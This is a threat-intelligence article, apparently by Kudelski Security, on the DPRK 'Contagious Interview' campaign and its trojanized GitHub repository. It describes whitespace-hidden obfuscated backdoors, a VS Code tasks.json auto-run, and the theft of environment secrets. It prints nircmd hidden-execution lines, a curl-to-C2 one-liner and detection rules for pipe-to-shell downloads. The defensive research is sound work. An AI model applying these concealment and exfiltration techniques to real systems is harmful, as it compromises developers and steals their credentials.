No items found.
June 30, 2026
·
0
Minutes Read

How DPRK’s Contagious Interview Campaign Targets Developers

Threat Research
Research
Hacking
Threat Hunting
Malware
General
June 30, 2026
·
0
Minutes Read

How DPRK’s Contagious Interview Campaign Targets Developers

Threat Research
Research
Hacking
Threat Hunting
Malware
General
June 30, 2026
·
0
Minutes Read
table of contents
Share on
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Summary

Kudelski Security’s research team tracked a DPRK-linked cluster of individuals running the “Contagious Interview” campaign, operating from DPRK and China. Posing as recruiters on LinkedIn, WhatsApp, and Discord, the operators lure job-seeking developers into fake technical interviews and trick them into running malicious code.

This article explains how they operate and includes a backdoor analysis of a GitHub repository used in their fake interview workflow.

Fake interview

At the beginning of this year, we were able to gather contracts shared over LinkedIn and WhatsApp with potential collaborators who consented to open a laptop farm or individually give DPRK actors access to their laptop and identity to perform a range of tasks.

Figure 1: Remote access contract

Following a contract signed between two of the parties, we observed that the actors also used the identity and machines of the collaborators to infiltrate CodeMentor (codementor[.]io), conduct 1:1 sessions with developers, and apply to freelance positions as a developer.

Once the contract was signed, we observed that they ran tests with .bat files whose contents we could not see. We assess with low confidence that these specific commands were linked to interviews conducted by them.

Figure 2: PowerShell commands related to probable interviews

Nircmd is a command-line utility from NirSoft and is currently being used by DPRK-related actors to make victims execute .bat files on their system during coding interviews. As we could not read the contents of the .bat files, we do not know what those files do once executed on the system.

We can note that they mainly used three flags related to Nircmd: exec, win, and hide.

  • Exec is for execution
  • Win runs it in normal mode
  • Hide is for hiding the window during execution

We think that the DPRK actor uses the combination of both flags, win and hide, either because they misunderstand the command utility or to evade detection based on Nircmd + exec + hide. In some cases, it should be Nircmd + exec + win + hide, so the analyst has to adapt the detection rule. You can find detection logic at the end of this article.

Commandlines
nircmd exec hide "c:\batch files\syncfiles.bat"
nircmd exec hide
"E:\1_Task\5_CodeMentor\React\reactwebtemplate\test.bat"
nircmd.exe exec hide "E:
\1_Task\5_CodeMentor\React\reactwebtemplate\test.bat"
nircmd.exe exec win hide "E:
\1_Task\5_CodeMentor\React\reactwebtemplate\test.bat"

What type of proxies do they use?

Over time, we observed that DPRK actors ran a scamming scheme by hiring external collaborators in Iran to act as interviewers. They mainly used VPS, residential proxies, and VPNs located in the region they were targeting. In fake interviews, they specifically targeted people related to the blockchain sector or developers who might have access to crypto companies.

For example, when they targeted Japan, they mainly connected through M247 Japanese ranges, connected to a VPS, or used an Astrill VPN node with a Japanese IP address.

Why do threat actors use Astrill VPN?

Astrill VPN allows malicious actors to do port forwarding over their C2 to hide their servers behind Astrill VPN services.

Figure 3: Astrill port forwarding (https://www.astrill.com/features/port-forwarding)

This is the main reason DPRK actors use Astrill VPN for their malicious campaigns. It also helps because some of their operators are located within China, giving them easier access to the internet outside China or North Korea without being restricted.

They mainly pay for this service with stolen credit cards.

In our previous research, we observed with medium confidence that North Korea had direct connections with Chinese ISPs such as ZTE, which could probably give them Chinese IPs instead of North Korean IPs. Even if the connection we found is not active, it is still useful for infrastructure analysis.

Source: https://kudelskisecurity.com/research/tracking-threat-actors-how-infrastructure-analysis-reveals-cyber-attack-patterns

We also saw in a research article from the GitLab Threat Intelligence team that some North Korean IT worker cells can operate within Chinese universities at joint research centre facilities used as cover for malicious activity outside North Korea. That suggests their source IPs may originate from China as well.

Fake Github repository made to impersonate a blockchain company and pass fake interviews

As we apply a specific marker to threats against Switzerland, we observed that a GitHub repository named Ajuna-solution impersonated a Swiss company named Ajuna-network to likely spread malware and compromise interviewees during fake coding interviews led by fake recruiters linked to DPRK. This campaign has been named Contagious Interview and is already well documented. This time, we decided to give an overview of what we could see from this campaign.

The entirety of this GitHub repository was trojanized, and this analysis is broken down into multiple parts that we found relevant:

  • package.json (launches the app and triggers the backdoor)
  • routes/api/auth.js (backdoor)
  • controllers/auth.js (informational: suspicious use of Axios)
  • .vscode/tasks.json (second way to trigger the backdoor)

Package.json

Figure 4: execution + persistence

To launch the application, the user must perform an npm install, which triggers a prepare step that starts a Node server as a background task compatible with Windows and Linux. After that, it launches server.js, which enables the backdoor described below.

Backdoor with “routes/api/auth.js”

Once we open “routes/api/auth.js” on the repository

Figure 5: Obfuscated code

The code appears legitimate, but it uses a common technique to trick users by placing 721 spaces after module.exports = router; and appending obfuscated malicious code. It was probably generated using the obfuscator[.]io engine, based on structural patterns such as identifiers that start with _0x followed by hexadecimal digits, and a custom decoder that does not use native atob to decode strings but instead uses a custom base64 function based on a non-standard alphabet with a lowercase-first order.

Figure 6: Obfuscated code

Once de-obfuscated, we can identify the backdoor logic as six distinct parts.

Figure 7 : backdoor chain

Figure 8 : Reconnaissance

This first reconnaissance stage gathers the hostname and the operating system, including the kernel version and platform. The IPv4 family is used only as a filtering criterion to select the right interface and exclude internal interfaces and null MAC addresses. The public IP address does not appear to be collected. Only the MAC address seems to be used as a stable machine identifier.

Figure 9: Data exfiltration

Within sendRequest(), the collected data is serialized with JSON.stringify and passed as URL parameters, along with the entire process environment (process.env). This means it can steal API keys, tokens, and other secrets.

We also noted that the actor left a marker in the tid field: now it time to get everything. It is likely used to identify or reroute the data within their C2.

Figure 10: C2 communication

Once the base64 is decoded we can now know the C2 and the endpoint behind these communications hxxp://138.201.128[.]169:1224/api/checkStatus.
We can now know that the structure follow this patterns <IP>:1224/api/<Value>
We see that the server is hosted at Hetzner a German VPS provider, we can also see from abuseipdb that this same IP has been reported 1 year ago as the sender of 1200+ phishing emails that can indicate an infrastructure reuse but we can’t confirm it.

Figure 11: RCE

The C2 response is parsed as JSON, and if the field status is equal to error, this signals that the message field carries a command that is passed to eval().

The interesting part here is that it uses the error message to catch a condition, which is unusual.

Figure 12: Session handling

For session handling, the C2 returns an identifier that is stored in SysID, which can give the attacker a tracking ID for each infected host.

Figure 13: Persistence

On load, the implant runs getSystemInfo() and store the result into s, the data is sent to the C2 without any external trigger. A beacon is sent every 5 seconds and maintains a channel for the C2 to execute commands remotely. If the initialization fails, the error is logged and the process exits with an exit code of 1.

controllers/auth.js (Informational)

Figure 14: Axios usage

We would like to note that Axios has been called without being used on this project and is installed via NPM, this remains suspicious even if version 1.14.0 has not been impacted by the Axios supply chain attack. According to Google threat intelligence group the following version were compromised 1.14.1 and 0.30.4. One version after the one that was installed.

Figure 15: Axios usage

.vscode/tasks.json (Second stage dropper)

If you open the project with. vscode it will automatically execute commands hidden by 564 spaces on the “env” task.

Figure 16: Env task

Once executed by tasks.json, powershell will use the “-Command” flag + the command within the task, it would appear like this on windows:
“<Absolute path\Powershell.exe> -Command <Commandline in the task>”

Figure 17: One liners vscode

They made the execution of these commandlines possible on OSX, Linux and Windows. Once executed it create a. vscode folder in “C:\Users\%USERNAME%\”, install node.js, pull and execute “env.npl” which is the exact same backdoor that we analyzed on “routes/api/auth.js”.

Figure 18: Env node JS

Analysis of the events

Based on the collected events, we can partially reconstruct what happened during these interviews. The fake interviewer asked the candidate to install the dependencies of the project with npm install. If the candidate did not want to do it, the interviewer would ask them to open the project in VS Code. That action would trigger the backdoor due to the env task located in .vscode/tasks.json.

This is a compromise technique likely combined with social engineering, where the fake interviewer pushes the candidate to perform actions that look benign but in fact trigger the attacker’s backdoor.

Detection

If you are targeted by DPRK-related actors, we recommend that organizations use Suricata rules over raw network logs, as North Korean campaigns often reuse the same techniques and malware.

As the Contagious Interview campaign is a human-factor problem, we recommend raising employee awareness around fake interviews, because the use of social engineering makes detection harder.

Suricata rule
alert http any any -> any 1224 (msg:"KS-CUSTOM-SURICATA Backdoor
Contagious Interview C2 /api/ endpoint"; flow:established,to_server;
http.method; content:"GET"; http.uri; content:"/api/"; startswith;
pcre:"/^\/api\/[A-Za-z0-9]+$/"; reference:url,kudelskisecurity.com/research/;
sid:1000001; rev:1;)

I use Yara here because this is simpler to document and I just want to show the logic of the rule.

Yara documentation
rule Contagious_Interview_installation_with_pipe_Linux_and_OSX {
    meta:
        author = "Clifford - Kudelski security research team"
        description = "This rule detects the usage of wget or curl to download and execute a backdoor on Linux and MacOS"
        reference = "Kudelski research team"
    strings:
        $ImageFileName_1 = "/usr/bin/wget" nocase
        $ImageFileName_2 = "/usr/bin/curl" nocase
        $argument_wget = "-qO-" nocase
        $argument_curl = "-L"
        $endpoint = "/api/" nocase
        $pipe_shell = /\|\s*(sh|bash|zsh|dash)\b/ nocase
    condition:
        (
            ($ImageFileName_1 and $argument_wget) or
            ($ImageFileName_2 and $argument_curl)
        )
        and $endpoint
        and $pipe_shell
}
rule Contagious_Interview_installation_vscode_tasks_with_pipe_windows {
    meta:
        author = "Clifford - Kudelski security research team"
        description = "This rule detects the usage of wget or curl launched from tasks.json within a .vscode folder to download and execute a backdoor on windows, to be initiated the user needs to open a project that contains a malicious .vscode/tasks.json"
        reference = "Kudelski research team"
    strings:
        $ParentBaseFileName = "Code.exe" nocase
        $FileName = "powershell.exe" nocase
        $argument_psh = "-command" nocase
        $argument_curl = "-L"
        $endpoint = "/api/" nocase
        $pipe_shell_win = /\|\s*(cmd|powershell|pwsh)(\.exe)?\b/ nocase
        // full command in case you want to fine tune it: "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command curl --ssl-no-revoke -L http://<C2>/api/",
    condition:
        $ParentBaseFileName
        and $FileName
        and $argument_psh
        and $argument_curl
        and ($endpoint or $pipe_shell_win)
}
rule Contagious_Interview_nircmd_hidden_execution {
    meta:
        author = "Clifford - Kudelski security research team"
        description = "This rule detects the usage of Nircmd with differents position among the args"
        reference = "Kudelski research team"
    strings:
        $executable = "nircmd" nocase
        $exec_hide_re = /nircmd(\.exe)?\s+exec\s+(win\s+)?hide/ nocase // Regex made to adapt the diverse positions among the args
        $flag_exec = "exec" nocase
        $flag_win = "win" nocase // This appears just as an informational field so if you want to adapt the rule into your env you won't forget this argument.
        $flag_hide = "hide" nocase
        $payload = /\.(bat|cmd|ps1|vbs|js)\b/ nocase
    condition:
        $executable
        and (
            $exec_hide_re
            or ($flag_exec and $flag_hide)
        )
        and $payload
}

Sources

Hudson rock for the stealer logs (I used it to gather PowerShell commands and contracts only)
https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/
https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package

Get in Touch

If your team wants help investigating advanced threat activity, improving detection for social engineering-led intrusion chains, or strengthening defenses against campaigns like Contagious Interview, contact Kudelski Security to speak with our experts.

Related Post